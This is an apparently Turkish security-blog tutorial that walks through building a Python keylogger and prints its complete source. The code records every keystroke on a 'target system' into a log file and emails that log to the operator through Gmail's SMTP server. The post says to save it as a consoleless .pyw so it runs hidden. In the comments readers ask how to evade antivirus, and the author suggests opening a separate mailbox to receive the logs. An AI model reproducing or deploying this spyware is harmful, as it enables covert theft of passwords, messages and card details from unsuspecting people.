Python İle Keylogger Yapımı

Keylogger Nedir:


Casus yazılım ve izleme yazılımı olarak kullanılan Keylogger, klavyede yaptığınız her tıklamayı kayıt edip başka bir sisteme ileten bir çeşit zararlı yazılımdır. Keylogger yüzünden, oyun hesaplarınız, sosyal medya hesaplarınız, mesajlaşmalarınız, kredi kartlarınız, banka hesaplarınız ve daha niceleri istenmeyen bir şekilde başkalarına gönderilir ve hacklenirsiniz.



Bu tür yazılımlar, temelinde klavyenizdeki tuşları gizli bir şekilde izlemek yatar. Zararlı yazılım, klavyede yaptığınız her tıklamayı kayıt edip gönderdiği sistemin arkasındaki kişi ya da kişiler tarafından klavyede neler yazdığınızı görmesi amacıyla oluşturulur. 



Bu yazımızda sizlere Python yazılım dilini kullanarak etkili bir keylogger yapacağız. Eğitim amacıyla oluşturuyoruz. Farklı amaçlarla kullanımından www.siberguvenlikblogu.com olarak biz herhangi bir sorumluluk almamaktayız. Aynı zamanda, diğer Python serimizdeki yazılarımızdan farklı olarak direkt kaynak kodalarını vermek yerine; öncelikle, daha iyi anlayabilmeniz için kod parçalarını açıklayarak vereceğiz. Sonrasında kaynak kodlarının hepsini kullanmanızın kolay olması amacıyla vereceğiz.


Yapılışa Geçelim


Öncelikle ihtiyacımız olan kütüphaneler olan , "pynput" ve "smtplib" kütüphanelerini import ederek başlıyoruz. "pynput" Kütüphanesi ile tuş vuruşlarını kayıt edeceğiz, "smtplib" kütüphanesi ile kayıt edilen tuş vuruşlarını mail aracılığıyla kendimize ileteceğiz. 


import pynput
import smtplib

from pynput.keyboard import Key,Listener


Bu fonksiyon ile hedef sistemdeki her tuş vuruşularını kayıt edeceğiz.



count = 0
keys = []

def on_press(key):
global count,keys
count += 1
print("{0} basıldı".format(key))
keys.append(key)

if count >= 10:
count = 0
write_file(keys)
keys = []


Bu fonsiyon ile de "log.txt" isimli dosya oluşturup kayıt edilen tuş vuruşlarını, o dosyaya yazdıracağız.


def write_file(keys):
with open("log.txt" , "a" , encoding="utf-8") as file:
for key in keys:

k = str(key).replace("'", "")
if k.find("space") > 0:
file.write("\n")
elif k.find("Key") == -1:
file.write(k)


Son fonksiyonumuz ile de kayıt edilen tuş vuruşlarını, hedef sistemin her "esc" tuşuna bastığında belirlediğimiz mail adresine mail olarak göndermesini sağlayacağız. Bize log kayıtlarını gönderecek mail adresinin mutlaka "gmail" olması lazım. Aynı zamanda dikkat edilmesi gereken bir husus ta şu ki:

İki adımlı doğrulaması olmayan hesaplar için devre dışı bırakılan, Gmail tarafından opsiyonel olarak sunulan "Daha Az Güvenli Uygulama Erişimi" bölümünü bu linkten Açık hale getirmeniz gerekmekte. Burayı atlarsanız mail göndermeyecektir




def on_release(key):
if key == Key.esc:
from email.mime.text import MIMEText
with open('log.txt') as fp:

msg = MIMEText(fp.read())


msg[
'Subject'] = 'Log Kayıtları -> {}'.format("log.txt")
msg[
'From'] = "gonderilecek_mail_adresi"
msg['To'] = "gonderilecek_mail_adresi"


s = smtplib.SMTP("smtp.gmail.com",587)
s.ehlo()
s.starttls()
s.login(
"gönderecek_mail_adresi(@işareti ve sonrası olmayacak)",mailin_şifresi)
s.send_message(msg)
s.quit()



Parça parça açıklayarak anlattığımız Keyloggerimizin tüm kaynak kodları ise bu şekilde;


import pynput
import smtplib


from pynput.keyboard import Key,Listener

count = 0
keys = []

def on_press(key):
global count,keys
count += 1
print("{0} basıldı".format(key))
keys.append(key)

if count >= 10:
count = 0
write_file(keys)
keys = []

def write_file(keys):
with open("log.txt" , "a" , encoding="utf-8") as file:
for key in keys:

k = str(key).replace("'", "")
if k.find("space") > 0:
file.write("\n")
elif k.find("Key") == -1:
file.write(k)


def on_release(key):
if key == Key.esc:
from email.mime.text import MIMEText
with open('log.txt') as fp:

msg = MIMEText(fp.read())


msg['Subject'] = 'Log Kayıtları -> {}'.format("log.txt")
msg['From'] = "gonderilecek_mail_adresi"
msg['To'] = "gonderilecek_mail_adresi"


s = smtplib.SMTP("smtp.gmail.com",587)
s.ehlo()
s.starttls()
s.login("gonderecek_mail_adresi(@isareti ve sonrası olmayacak)","mailin_sifresi")
s.send_message(msg)
s.quit()


with Listener(on_press = on_press, on_release = on_release) as listener:
listener.join()


Bunu .pyw dosyası halinde yani Python No Console, çalışırken konsol açılmayacak şekilde kayıt edeceksiniz. Arka planda siz bilgisayarı kapatana kadar ya da görev yöneticisinden kapayana kadar çalışmaya devam edecek. Başlangıca sabitlemek ve kapanmaması için de yollar var ancak çok tehlikeli sonuçlar doğuracağından onu paylaşmıyoruz.


14 Yorumlar

  1. Bak Bu Geliştirilerek Güzel bir Şey Yapılabilir Belki

    YanıtlaSil
    Yanıtlar
    1. Tabiki de geliştirilip daha etkili ve tehlikeli bir keylogger oluşturulabilir ancak yanlış ellerde kötü sonuçlar doğuracağından bu kadarını paylaşmakla yetindik :)

      Sil
  2. Ben de buna benzer bir şey yaptım. Neredeyse aynı kod. Tek farkı mail ile değil socket ile aktarmasıydı. Programı çalıştırdığım anda Windows antivirüs programı bunu algıladı ve dosyayı sildi :( Artık tüm yaptıklarımı kaybettim...

    YanıtlaSil
    Yanıtlar
    1. Burdaki kodları kullanarak tekrardan yapabilirsin ya da Eminim github üzerinden küçük bir araştırma ile socket ile aktırmalı olan versiyonu bulabilirsin

      Sil
    2. Peki antivirüs tarafından algılanmasını nasıl engelleyeceğim?

      Sil
  3. uygulama pycharmmı?

    YanıtlaSil
    Yanıtlar
    1. hayır pythonun kendi apisinde de calistirabilirsin hedef sistemde pycharm uzerinden acman gerekir aksi takdirde

      Sil
  4. Merhaba 6.09.2022 tariginde denediğim kadarıyla gmail veya hotmail üzerinden mail alınamıyor. düşük güvenlikli uygulama izni verilemiyor yasaklanmış. bunu nasıl çözeceğiz?

    YanıtlaSil
    Yanıtlar
    1. Hocam gmail üzerinden düşük güvenlikli uygulamalara izin vermeniz gerek myaccount.google.com/lesssecureapps bu for üzerinden açabilirisiniz ancak hesabınızda 2 adımlı doğrulama varsa kullanılamaz tavsiyemiz, bu iş için yeni bir mail açmanız yönünde

      Sil
  5. merhaba gmaile mesaj gitmiyor nasıl çözecem.

    YanıtlaSil
    Yanıtlar
    1. Hocam gmail üzerinden düşük güvenlikli uygulamalara izin vermeniz gerek myaccount.google.com/lesssecureapps bu form üzerinden açabilirisiniz ancak hesabınızda 2 adımlı doğrulama varsa kullanılamaz tavsiyemiz, bu iş için yeni bir mail açmanız yönünde

      Sil
  6. kanka sana nerden ulasblirm

    YanıtlaSil
    Yanıtlar
    1. instagram emyounoone veya mail iletisim@siberguvenlikblogu.com

      Sil
Yorum Gönder
Daha yeni Daha eski